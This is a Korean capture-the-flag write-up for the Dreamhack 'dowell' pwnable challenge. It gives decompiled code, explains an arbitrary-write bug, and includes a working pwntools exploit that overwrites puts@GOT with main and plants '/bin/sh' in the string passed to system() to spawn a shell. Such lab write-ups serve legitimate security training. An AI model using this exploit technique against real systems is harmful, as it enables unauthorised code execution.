[dreamhack] dowell writeup

1. 문제

thumbnail
dowell

We all do well to get shell!

https://dreamhack.io/wargame/challenges/1568

2. 풀이

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *s[2]; // [rsp+0h] [rbp-10h] BYREF

  s[1] = (char *)__readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  system(st);
  printf("one chance for flag");
  putchar(10);
  printf("pt: ");
  __isoc99_scanf("%d", s);
  printf("input: ");
  __isoc99_scanf("%s", s[0]);
  printf("your input:");
  puts(s[0]);
  return 0;
}

소스코드가 없어서 ida로 까본 코드이다.

먼저 st에 들어간 값으로 system()함수를 실행한다.

그리고 s 변수에 %d로 입력을 받고, s[0]에 들어갈 값을 %s로 입력받는다. 그 이후에 s[0]에 들어간 값을 출력해주고 종료한다.

사실상 임의주소에 원하는 값을 쓸 수 있는 취약점이다.


st에 들어간 값은 아래와 같다.

echo "I do well at getting the flag"

그래서 st에 우리가 원하는 /bin/sh를 넣으면 될 것 같은데, 입력받는 부분이 더 뒤에 있기 때문에 어렵다.

그래서 puts@gotmain함수의 주소를 넣어서 다시 main을 실행시킨 다음, st 변수의 위치에 /bin/sh 문자열을 넣어주도록 했다.

그런데 예상대로 안되길래 gdb를 봤더니 주소앞에 0x7fff가 붙어있어서 진짜 한참을 고민했는데 아니나다를까 Dockerfile이 주어졌던 문제였고, 도커 환경에서 하면 주소에 아무것도 없다… 항상 도커파일이 주어지면 환경에 맞추어서 하자…

from pwn import *

p = process("./prob")
#p = remote("host3.dreamhack.games", 12035)
elf = ELF("./prob")

puts_got = elf.got["puts"]


p.sendlineafter(b"pt: ", str(int(puts_got)))
p.sendlineafter(b"input: ", p64(elf.symbols["main"]))
p.sendlineafter(b"pt: ", str(int(0x404080)))
p.sendlineafter(b"input: ", b'/bin/sh\x00')


p.interactive()

이렇게 쉽게 끝날 코드를…


아무튼 해결~